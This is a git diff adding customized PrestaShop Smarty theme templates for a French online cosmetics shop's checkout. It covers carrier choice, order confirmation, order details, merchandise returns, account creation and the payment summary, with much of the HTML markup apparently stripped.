!$opc} +
        +{else} +
        +{/if} + +{if !$opc} +
        +

        [{l s='Ma livraison'}]

        + {assign var="current_step" value="shipping"} + {include file="$tpl_dir./order-opc-steps.tpl"} +
        +
        +{else} +

        2 {l s='Delivery methods'}

        +{/if} + +{if !$opc} + {assign var='current_step' value='shipping'} + {include file="$tpl_dir./order-steps.tpl"} + + {include file="$tpl_dir./errors.tpl"} + +
        +{else} +
        + +{/if} + +
        + +{if isset($virtual_cart) && $virtual_cart} + +{else} +

        {l s='Choose your delivery method'}

        + +
        + {if isset($carriers) && isset($HOOK_BEFORECARRIER)} + {$HOOK_BEFORECARRIER} + {/if} +
        + {if isset($isVirtualCart) && $isVirtualCart} +

        {l s='No carrier is needed for this order.'}

        + {else} + {if $recyclablePackAllowed} +

        + + +

        + {/if} +
        + {if isset($delivery_option_list)} + {foreach $delivery_option_list as $id_address => $option_list} +

        + {if isset($address_collection[$id_address])} + {l s='Choose a shipping option for this address:'} {$address_collection[$id_address]->alias} + {else} + {l s='Choose a shipping option'} + {/if} +

        +
        + {foreach $option_list as $key => $option} +
        + + +
        + {/foreach} +
        +
        {if isset($HOOK_EXTRACARRIER_ADDR) && isset($HOOK_EXTRACARRIER_ADDR.$id_address)}{$HOOK_EXTRACARRIER_ADDR.$id_address}{/if}
        + {foreachelse} +

        + {foreach $cart->getDeliveryAddressesWithoutCarriers(true) as $address} + {if empty($address->alias)} + {l s='No carriers available.'} + {else} + {l s='No carriers available for the address "%s".' sprintf=$address->alias} + {/if} + {if !$address@last} +
        + {/if} + {/foreach} +

        + {/foreach} + {/if} + +
        + + + {if $giftAllowed} +

        {l s='Gift'}

        +

        + gift == 1}checked="checked"{/if} /> + +
        +       + {if $gift_wrapping_price > 0} + ({l s='Additional cost of'} + + {if $priceDisplay == 1}{convertPrice price=$total_wrapping_tax_exc_cost}{else}{convertPrice price=$total_wrapping_cost}{/if} + + {if $use_taxes}{if $priceDisplay == 1} {l s='(tax excl.)'}{else} {l s='(tax incl.)'}{/if}{/if}) + {/if} +

        +

        + + +

        + {/if} + {/if} +{/if} + +{if $conditions AND $cms_id} +

        {l s='Terms of service'}

        +

        + + {l s='(Read the Terms of Service)'} +

        + +{/if} +
        + +{if !$opc} +

        + + + {if !$is_guest} + {if $back} + « {l s='Previous'} + {else} + « {l s='Previous'} + {/if} + {else} + « {l s='Previous'} + {/if} + {if isset($virtual_cart) && $virtual_cart || (isset($delivery_option_list) && !empty($delivery_option_list))} + + {/if} +

        + +
        +
        +{else} +

        {l s='Leave a message'}

        +
        +

        {l s='If you would like to add a comment about your order, please write it in the field below.'}

        +

        +
        +
        +{/if} +
        diff --git a/themes/default/order-carrier-simple.tpl b/themes/default/order-carrier-simple.tpl new file mode 100755 index 0000000..bb1825c --- /dev/null +++ b/themes/default/order-carrier-simple.tpl @@ -0,0 +1,158 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if !$opc} + +{else} + +{/if} + +{if isset($virtual_cart) && !$virtual_cart && $giftAllowed && $cart->gift == 1} + +{/if} + + +{if !$opc} +
        +{else} +
        +{/if} + +
        +
        + {if isset($carriers) && isset($HOOK_BEFORECARRIER)} + {$HOOK_BEFORECARRIER} + {/if} +
        +
        + {if isset($delivery_option_list)} + {foreach $delivery_option_list as $id_address => $option_list} +
        + {foreach $option_list as $key => $option} +
        + + +
        + {/foreach} +
        +
        {if isset($HOOK_EXTRACARRIER_ADDR) && isset($HOOK_EXTRACARRIER_ADDR.$id_address)}{$HOOK_EXTRACARRIER_ADDR.$id_address}{/if}
        + {foreachelse} +

        + {foreach $cart->getDeliveryAddressesWithoutCarriers(true) as $address} + {if empty($address->alias)} + {l s='No carriers available.'} + {else} + {l s='No carriers available for the address "%s".' sprintf=$address->alias} + {/if} + {if !$address@last} +
        + {/if} + {/foreach} +

        + {/foreach} + {/if} + +
        + + + +
        +
        + +
        diff --git a/themes/default/order-carrier.tpl b/themes/default/order-carrier.tpl new file mode 100755 index 0000000..4c48a9d --- /dev/null +++ b/themes/default/order-carrier.tpl @@ -0,0 +1,158 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if !$opc} + +{else} + +{/if} + +{if isset($virtual_cart) && !$virtual_cart && $giftAllowed && $cart->gift == 1} + +{/if} + + +{if !$opc} +
        +{else} +
        +{/if} + + +
        +
        + {if isset($carriers) && isset($HOOK_BEFORECARRIER)} + {$HOOK_BEFORECARRIER} + {/if} +
        +
        + {if isset($delivery_option_list)} + {foreach $delivery_option_list as $id_address => $option_list} +
        + {foreach $option_list as $key => $option} +
        + + +
        + {/foreach} +
        +
        {if isset($HOOK_EXTRACARRIER_ADDR) && isset($HOOK_EXTRACARRIER_ADDR.$id_address)}{$HOOK_EXTRACARRIER_ADDR.$id_address}{/if}
        + {foreachelse} +

        + {foreach $cart->getDeliveryAddressesWithoutCarriers(true) as $address} + {if empty($address->alias)} + {l s='No carriers available.'} + {else} + {l s='No carriers available for the address "%s".' sprintf=$address->alias} + {/if} + {if !$address@last} +
        + {/if} + {/foreach} +

        + {/foreach} + {/if} + +
        + + + +
        +
        + +
        diff --git a/themes/default/order-confirmation.tpl b/themes/default/order-confirmation.tpl new file mode 100755 index 0000000..6656a76 --- /dev/null +++ b/themes/default/order-confirmation.tpl @@ -0,0 +1,46 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{capture name=path}{l s='Order confirmation'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} +
        +
        +
        +
        +

        [{l s='Order confirmation'}]

        + +{include file="$tpl_dir./errors.tpl"} + +{$HOOK_ORDER_CONFIRMATION} +{$HOOK_PAYMENT_RETURN} +
        +

        {l s='Toute l\'équipe Garancia vous remercie pour votre confiance'}

        +

        {l s='Vous pouvez suivre l\'avancée de votre commande dans votre espace «Mon compte».'}

        +

        {l s='À très bientôt'}

        +

        + {l s='Mon compte'} +

        +
        +
        +
        \ No newline at end of file diff --git a/themes/default/order-detail.tpl b/themes/default/order-detail.tpl new file mode 100755 index 0000000..319928f --- /dev/null +++ b/themes/default/order-detail.tpl @@ -0,0 +1,430 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        +
        + +

        + {l s='Order Reference %s - placed on' sprintf=$order->getUniqReference()} {dateFormat date=$order->date_add full=0} + {if $carrier->id}{l s='Carrier'} : {if $carrier->name == "0"}{$shop_name|escape:'htmlall':'UTF-8'}{else}{$carrier->name|escape:'htmlall':'UTF-8'}{/if}{/if} +

        +
        +
        +

        [{l s='Suivi des commandes'}]

        +
        + +{if $order->gift} +

         {l s='You have requested gift wrapping for this order.'}

        +

        {l s='Message'} {$order->gift_message|nl2br}

        +{/if} +
        + +{if count($order_history)} +
        + + + + + + + + + {foreach from=$order_history item=state name="orderStates"} + + + + + {/foreach} + +
        {l s='Date'}{l s='Status'}
        {dateFormat date=$state.date_add full=1}{$state.ostate_name|escape:'htmlall':'UTF-8'}
        +
        +{/if} + +{if isset($followup)} +

        {l s='Click the following link to track the delivery of your order'}

        +{$followup|escape:'htmlall':'UTF-8'} +{/if} + +
        +

        {l s='Billing'}

        +
          + {foreach from=$inv_adr_fields name=inv_loop item=field_item} + {if $field_item eq "company" && isset($address_invoice->company)}
        • {$address_invoice->company|escape:'htmlall':'UTF-8'}
        • + {elseif $field_item eq "address2" && $address_invoice->address2}
        • {$address_invoice->address2|escape:'htmlall':'UTF-8'}
        • + {elseif $field_item eq "phone_mobile" && $address_invoice->phone_mobile}
        • {$address_invoice->phone_mobile|escape:'htmlall':'UTF-8'}
        • + {else} + {assign var=address_words value=" "|explode:$field_item} +
        • {foreach from=$address_words item=word_item name="word_loop"}{if !$smarty.foreach.word_loop.first} {/if}{$invoiceAddressFormatedValues[$word_item|replace:',':'']|escape:'htmlall':'UTF-8'}{/foreach}
        • + {/if} + + {/foreach} +
        +
        +
        +

        {l s='Delivery'}

        +
          isVirtual()}style="display:none;"{/if}> + {foreach from=$dlv_adr_fields name=dlv_loop item=field_item} + {if $field_item eq "company" && isset($address_delivery->company)}
        • {$address_delivery->company|escape:'htmlall':'UTF-8'}
        • + {elseif $field_item eq "address2" && $address_delivery->address2}
        • {$address_delivery->address2|escape:'htmlall':'UTF-8'}
        • + {elseif $field_item eq "phone_mobile" && $address_delivery->phone_mobile}
        • {$address_delivery->phone_mobile|escape:'htmlall':'UTF-8'}
        • + {else} + {assign var=address_words value=" "|explode:$field_item} +
        • {foreach from=$address_words item=word_item name="word_loop"}{if !$smarty.foreach.word_loop.first} {/if}{$deliveryAddressFormatedValues[$word_item|replace:',':'']|escape:'htmlall':'UTF-8'}{/foreach}
        • + {/if} + {/foreach} +
        +
        +
        +{$HOOK_ORDERDETAILDISPLAYED} +{if !$is_guest}
        {/if} +
        + + + + {if $return_allowed}{/if} + + + + {if $order->hasProductReturned()} + + {/if} + + + + + + {if $priceDisplay && $use_tax} + + + + + {/if} + + + + + {if $order->total_discounts > 0} + + + + + {/if} + {if $order->total_wrapping > 0} + + + + + {/if} + + + + + + + + + + + {foreach from=$products item=product name=products} + {if !isset($product.deleted)} + {assign var='productId' value=$product.product_id} + {assign var='productAttributeId' value=$product.product_attribute_id} + {if isset($product.customizedDatas)} + {assign var='productQuantity' value=$product.product_quantity-$product.customizationQuantityTotal} + {else} + {assign var='productQuantity' value=$product.product_quantity} + {/if} + + {if isset($product.customizedDatas)} + + {if $return_allowed}{/if} + + + + {if $order->hasProductReturned()} + + {/if} + + + + {foreach $product.customizedDatas as $customizationPerAddress} + {foreach $customizationPerAddress as $customizationId => $customization} + + {if $return_allowed}{/if} + + + + + {/foreach} + {/foreach} + {/if} + + {if $product.product_quantity > $product.customizationQuantityTotal} + + + {if $product.id_category_default==12} + {if $return_allowed}{/if} + + {else} + {if $return_allowed}{/if} + + {/if} + + + {if $order->hasProductReturned()} + + {/if} + + {if $product.id_category_default==12} + + {else} + + + {/if} + + {/if} + {/if} + {/foreach} + {foreach from=$discounts item=discount} + + + + + + + {if $return_allowed} + + {/if} + + {/foreach} + +
        {l s='Reference'}{l s='Product'}{l s='Quantity'}{l s='Returned'}{l s='Prix unitaire'}{l s='Total price'}
          + {l s='Total products (tax excl.)'} {displayWtPriceWithCurrency price=$order->getTotalProductsWithoutTaxes() currency=$currency} +
          + {l s='Total products'} {if $use_tax}{l s='(tax incl.)'}{/if}: {displayWtPriceWithCurrency price=$order->getTotalProductsWithTaxes() currency=$currency} +
          + {l s='Total vouchers:'} {displayWtPriceWithCurrency price=$order->total_discounts currency=$currency convert=1} +
          + {l s='Total gift wrapping cost:'} {displayWtPriceWithCurrency price=$order->total_wrapping currency=$currency} +
          + {l s='Total shipping'} {if $use_tax}{l s='(tax incl.)'}{/if}: {displayWtPriceWithCurrency price=$order->total_shipping currency=$currency} +
          + {l s='Total TTC'} {displayWtPriceWithCurrency price=$order->total_paid currency=$currency} +
        + + + {$product['qty_returned']} + + + + +
        + {foreach from=$customization.datas key='type' item='datas'} + {if $type == $CUSTOMIZE_FILE} +
          + {foreach from=$datas item='data'} +
        • + {/foreach} +
        + {elseif $type == $CUSTOMIZE_TEXTFIELD} +
          {counter start=0 print=false} + {foreach from=$datas item='data'} + {assign var='customizationFieldName' value="Text #"|cat:$data.id_customization_field} +
        • {$data.name|default:$customizationFieldName} : {$data.value}
        • + {/foreach} +
        + {/if} + {/foreach} +
        + +
        {if $product.product_reference}{$product.product_reference}{else}{l s='Echantillon'}{/if} + + + {$product['qty_returned']} + + + + + +
        {$discount.name|escape:'htmlall':'UTF-8'}{l s='Voucher'} {$discount.name|escape:'htmlall':'UTF-8'}1 {if $discount.value != 0.00}-{/if}{convertPriceWithCurrency price=$discount.value currency=$currency} 
        +
        +
        +{if $order->getShipping()|count > 0} + + + + + + + + + + + + {foreach from=$order->getShipping() item=line} + + + + + + + + {/foreach} + +
        {l s='Date'}{l s='Carrier'}{l s='Weight'}{l s='Shipping cost'}{l s='Tracking number'}
        {$line.date_add}{$line.carrier_name}{if $line.weight > 0}{$line.weight|string_format:"%.3f"} {Configuration::get('PS_WEIGHT_UNIT')}{else}-{/if}{if $order->getTaxCalculationMethod() == $smarty.const.PS_TAX_INC}{displayPrice price=$line.shipping_cost_tax_incl currency=$currency->id}{else}{displayPrice price=$line.shipping_cost_tax_excl currency=$currency->id}{/if} + {if $line.tracking_number}{if $line.url && $line.tracking_number}{$line.tracking_number}{else}{$line.tracking_number}{/if}{else}-{/if} +
        +{/if} +
        +{if !$is_guest} + {if $return_allowed} +
        +

        {l s='Merchandise return'}

        +

        {l s='If you wish to return one or more products, please mark the corresponding boxes and provide an explanation for the return. When complete, click the button below.'}

        +

        + +

        +

        + + +

        +
        +
        + {/if} +
        + + {if count($messages)} +

        {l s='Messages'}

        +
        + + + + + + + + + {foreach from=$messages item=message name="messageList"} + + + + + {/foreach} + +
        {l s='From'}{l s='Message'}
        + {if isset($message.elastname) && $message.elastname} + {$message.efirstname|escape:'htmlall':'UTF-8'} {$message.elastname|escape:'htmlall':'UTF-8'} + {elseif $message.clastname} + {$message.cfirstname|escape:'htmlall':'UTF-8'} {$message.clastname|escape:'htmlall':'UTF-8'} + {else} + {$shop_name|escape:'htmlall':'UTF-8'} + {/if} +
        + {dateFormat date=$message.date_add full=1} +
        {$message.message|escape:'htmlall':'UTF-8'|nl2br}
        +
        + {/if} + {if isset($errors) && $errors} +
        +

        {if $errors|@count > 1}{l s='There are %d errors' sprintf=$errors|@count}{else}{l s='There is %d error' sprintf=$errors|@count}{/if}

        +
          + {foreach from=$errors key=k item=error} +
        1. {$error}
        2. + {/foreach} +
        +
        + {/if} + +{else} +

         {l s='You cannot return merchandise with a guest account'}

        +{/if} diff --git a/themes/default/order-follow.tpl b/themes/default/order-follow.tpl new file mode 100755 index 0000000..d8a8e70 --- /dev/null +++ b/themes/default/order-follow.tpl @@ -0,0 +1,97 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='My account'}{$navigationPipe}{l s='Return Merchandise Authorization (RMA)'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +

        {l s='Return Merchandise Authorization (RMA)'}

        +{if isset($errorQuantity) && $errorQuantity}

        {l s='You do not have enough products to request an additional merchandise return.'}

        {/if} +{if isset($errorMsg) && $errorMsg} +

        + {l s='Please provide an explanation for your RMA.'} +

        +

        +

        {l s='Please provide an explanation for your RMA:'}

        +
        +

        + +

        + {foreach $ids_order_detail as $id_order_detail} + + {/foreach} + {foreach $order_qte_input as $key => $value} + + {/foreach} + + +
        +

        +{/if} +{if isset($errorDetail1) && $errorDetail1}

        {l s='Please check at least one product you would like to return.'}

        {/if} +{if isset($errorDetail2) && $errorDetail2}

        {l s='For each product you wish to add, please specify the desired quantity.'}

        {/if} +{if isset($errorNotReturnable) && $errorNotReturnable}

        {l s='This order cannot be returned.'}

        {/if} + +

        {l s='Here is a list of pending merchandise returns'}.

        +
        + {if $ordersReturn && count($ordersReturn)} + + + + + + + + + + + + {foreach from=$ordersReturn item=return name=myLoop} + + + + + + + + {/foreach} + +
        {l s='Return'}{l s='Order'}{l s='Package status'}{l s='Date issued'}{l s='Return slip'}
        {l s='#'}{$return.id_order_return|string_format:"%06d"}{l s='#'}{$return.id_order|string_format:"%06d"}{$return.state_name|escape:'htmlall':'UTF-8'}{dateFormat date=$return.date_add full=0} + {if $return.state == 2} + {l s='Order return'} {l s='#'}{$return.id_order_return|string_format: + {l s='Print out'} + {else} + -- + {/if} +
        + + {else} +

        {l s='You have no merchandise return authorizations.'}

        + {/if} +
        + + diff --git a/themes/default/order-opc-new-account.tpl b/themes/default/order-opc-new-account.tpl new file mode 100755 index 0000000..04c2c6f --- /dev/null +++ b/themes/default/order-opc-new-account.tpl @@ -0,0 +1,391 @@ +
        + +

        1 {l s='Account'}

        +
        +
        +

        {l s='Already registered?'}

        +

        » {l s='Click here'}

        + +
        +
        +
        +
        +

        {l s='New Customer'}

        +
        +
        +

        {l s='Instant Checkout'}

        +

        + +

        +
        + +
        +

        {l s='Create your account today and enjoy:'}

        +
          +
        • {l s='Personalized and secure access'}
        • +
        • {l s='A fast and easy check out process'}
        • +
        • {l s='Separate billing and shipping addresses'}
        • +
        +

        + +

        +
        +
        +
        +
        + {$HOOK_CREATE_ACCOUNT_TOP} + + + + + + + + + +

        + + +

        +

        + + + {l s='(five characters min.)'} +

        +

        + {l s='Title'} + {foreach from=$genders key=k item=gender} + id_gender}checked="checked"{/if} /> + + {/foreach} +

        +

        + + +

        +

        + + +

        +

        + {l s='Date of Birth'} + + {* + {l s='January'} + {l s='February'} + {l s='March'} + {l s='April'} + {l s='May'} + {l s='June'} + {l s='July'} + {l s='August'} + {l s='September'} + {l s='October'} + {l s='November'} + {l s='December'} + *} + + +

        + {if isset($newsletter) && $newsletter} +

        + + +

        +

        + + +

        + {/if} +

        {l s='Delivery address'}

        + {$stateExist = false} + {foreach from=$dlv_all_fields item=field_name} + {if $field_name eq "company"} +

        + + +

        + {elseif $field_name eq "firstname"} +

        + + +

        + {elseif $field_name eq "lastname"} +

        + + +

        + {elseif $field_name eq "address1"} +

        + + +

        + {elseif $field_name eq "address2"} +

        + + +

        + {elseif $field_name eq "postcode"} +

        + + +

        + {elseif $field_name eq "city"} +

        + + + +

        + {elseif $field_name eq "country" || $field_name eq "Country:name"} +

        + + +

        + {elseif $field_name eq "vat_number"} + + {elseif $field_name eq "state" || $field_name eq 'State:name'} + {$stateExist = true} + + {/if} + {/foreach} +

        + + + {l s='DNI / NIF / NIE'} +

        + {if !$stateExist} +

        + + +

        + {/if} +

        + + +

        + {if isset($one_phone_at_least) && $one_phone_at_least} +

        {l s='You must register at least one phone number.'}

        + {/if} +

        + + +

        +

        + + +

        + + +

        + + +

        + +
        + {assign var=stateExist value=false} +

        {l s='Invoice address'}

        + {foreach from=$inv_all_fields item=field_name} + {if $field_name eq "company"} +

        + + +

        + {elseif $field_name eq "vat_number"} + +

        + + + {l s='DNI / NIF / NIE'} +

        + {elseif $field_name eq "firstname"} +

        + + +

        + {elseif $field_name eq "lastname"} +

        + + +

        + {elseif $field_name eq "address1"} +

        + + +

        + {elseif $field_name eq "address2"} +

        + + +

        + {elseif $field_name eq "postcode"} +

        + + +

        + {elseif $field_name eq "city"} +

        + + +

        + {elseif $field_name eq "country" || $field_name eq "Country:name"} +

        + + +

        + {elseif $field_name eq "state" || $field_name eq 'State:name'} + {$stateExist = true} + + {/if} + {/foreach} + {if !$stateExist} + + {/if} +

        + + +

        + {if isset($one_phone_at_least) && $one_phone_at_least} +

        {l s='You must register at least one phone number.'}

        + {/if} +

        + + +

        +

        + + +

        + +
        + {$HOOK_CREATE_ACCOUNT_FORM} +

        + +

        + +

        + *{l s='Required field'} +

        + +
        +
        +
        +
        +
        \ No newline at end of file diff --git a/themes/default/order-opc-rightColumn.tpl b/themes/default/order-opc-rightColumn.tpl new file mode 100755 index 0000000..9d87508 --- /dev/null +++ b/themes/default/order-opc-rightColumn.tpl @@ -0,0 +1,23 @@ + + + {$HOOK_LEFT_COLUMN} \ No newline at end of file diff --git a/themes/default/order-opc-steps.tpl b/themes/default/order-opc-steps.tpl new file mode 100755 index 0000000..dc6a6b7 --- /dev/null +++ b/themes/default/order-opc-steps.tpl @@ -0,0 +1,67 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* Assign a value to 'current_step' to display current style *} +{capture name="url_back"} +{if isset($back) && $back}back={$back}{/if} +{/capture} + +{if !isset($multi_shipping)} + {assign var='multi_shipping' value='0'} +{/if} + + + + {if $current_step=='payment'} + {assign var='idStep' value='3'} + {elseif $current_step=='shipping'} + {assign var='idStep' value='2'} + {else} + {assign var='idStep' value='1'} + {/if} + + diff --git a/themes/default/order-opc.tpl b/themes/default/order-opc.tpl new file mode 100755 index 0000000..a170c9b --- /dev/null +++ b/themes/default/order-opc.tpl @@ -0,0 +1,120 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $opc} + {assign var="back_order_page" value="order-opc.php"} + {else} + {assign var="back_order_page" value="order.php"} +{/if} + + {capture name=path}{l s='Your shopping cart'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Mon panier'}]

        + {assign var="current_step" value=""} + {include file="$tpl_dir./order-opc-steps.tpl"} +
        + {include file="$tpl_dir./order-opc-rightColumn.tpl"} +
        +
        +
        +{if $PS_CATALOG_MODE} +

        {l s='Your new order was not accepted.'}

        +{else} + + {if $productNumber} + + {include file="$tpl_dir./shopping-cart.tpl"} + + {if $isLogged AND !$isGuest} + {include file="$tpl_dir./order-address.tpl"} + {else} + + {include file="$tpl_dir./order-opc-new-account.tpl"} + + {/if} + + {include file="$tpl_dir./order-carrier.tpl"} + + + + {include file="$tpl_dir./order-payment.tpl"} + + {else} +

        {l s='Your shopping cart is empty.'}

        + {/if} +{/if} +
        + +
        +
        +
        diff --git a/themes/default/order-payment.tpl b/themes/default/order-payment.tpl new file mode 100755 index 0000000..a60f433 --- /dev/null +++ b/themes/default/order-payment.tpl @@ -0,0 +1,233 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if !$opc} + +{/if} + {capture name=path}{l s='Mon paiement'}{/capture} + {include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Mon paiement'}]

        + {assign var="current_step" value="payment"} + {include file="$tpl_dir./order-opc-steps.tpl"} +
        + {include file="$tpl_dir./errors.tpl"} + {if $HOOK_PAYMENT} +
        {$HOOK_PAYMENT}
        + {else} +

        {l s='No payment modules have been installed.'}

        + {/if} +
        +
        +
        +
        {$HOOK_TOP_PAYMENT}
        +
        +

        {l s='Récapitulatif'}

        +

        {l s='Panier'}

        + + + + + + + + + + + {if !$virtualCart} + {if $echantillons && $echantillons_selected|@count>0} + + + + + {else} + + + + + {/if} + {if $carrier} + + + + + {/if} + {/if} + + + + + + + + + + + + + + {foreach from=$products item=product name=productLoop} + {if $product.id_category_default!=12} + {assign var='productId' value=$product.id_product} + {assign var='productAttributeId' value=$product.id_product_attribute} + {assign var='quantityDisplayed' value=0} + {assign var='cannotModify' value=1} + {assign var='odd' value=$product@iteration%2} + {assign var='noDeleteButton' value=1} + {* Display the product line *} + {include file="$tpl_dir./shopping-cart-product-line-step3.tpl"} + {/if} + {/foreach} + {foreach $gift_products as $product} + {assign var='productId' value=$product.id_product} + {assign var='productAttributeId' value=$product.id_product_attribute} + {assign var='quantityDisplayed' value=0} + {assign var='odd' value=($product@iteration+$last_was_odd)%2} + {assign var='ignoreProductLast' value=isset($customizedDatas.$productId.$productAttributeId)} + {assign var='cannotModify' value=1} + {* Display the gift product line *} + {include file="./shopping-cart-product-line.tpl" productLast=$product@last productFirst=$product@first} + {/foreach} + +
        +

        {l s='Total vouchers'}

        +
        + {if $use_taxes} + {if $priceDisplay} + {displayPrice price=$total_discounts_tax_exc*-1} + {else} + {displayPrice price=$total_discounts*-1} + {/if} + {else} + {displayPrice price=$total_discounts_tax_exc*-1} + {/if} +
        +

        {if $use_taxes} + {if $priceDisplay} + {if $display_tax_label}{l s='Total gift wrapping (tax excl.):'}{else}{l s='Total gift wrapping cost:'}{/if} + {else} + {if $display_tax_label}{l s='Total gift wrapping (tax incl.)'}{else}{l s='Total gift wrapping cost:'}{/if} + {/if} + {else} + {l s='Total gift wrapping cost:'} + {/if}

        +
        + {if $use_taxes} + {if $priceDisplay} + {displayPrice price=$total_wrapping_tax_exc} + {else} + {displayPrice price=$total_wrapping} + {/if} + {else} + {displayPrice price=$total_wrapping_tax_exc} + {/if} +
        +

        {l s='Echantillons'}

        + {assign var=compteur value=0} +

        {foreach from=$echantillons item=echantillon}{if IN_ARRAY($echantillon.id_product,$echantillons_selected)}{if $compteur>0}, {/if}{$echantillon.name}{assign var=compteur value=1}{/if} + {/foreach}

        +
        +

        {l s='Echantillons'}

        +

        {l s='Vous n\'avez pas sélectionné vos échantillons gratuits'} +

        {l s='Je choisis mes échantillons'} +

        +

        {$carrier->name} : {convertPrice price=$total_shipping}

        + {if $carrier->delay!=""}

        {l s='Livraison de votre commande'} {$carrier->delay}

        {/if} +
        +

        {l s='NOTEZ BIEN'}

        +

        {l s='Si vous avez choisi une livraison hors France Métropolitaine et hors UE, et en fonction des lois de votre pays de destination, votre colis peut être soumis à des taxes locales à son arrivée.'} +

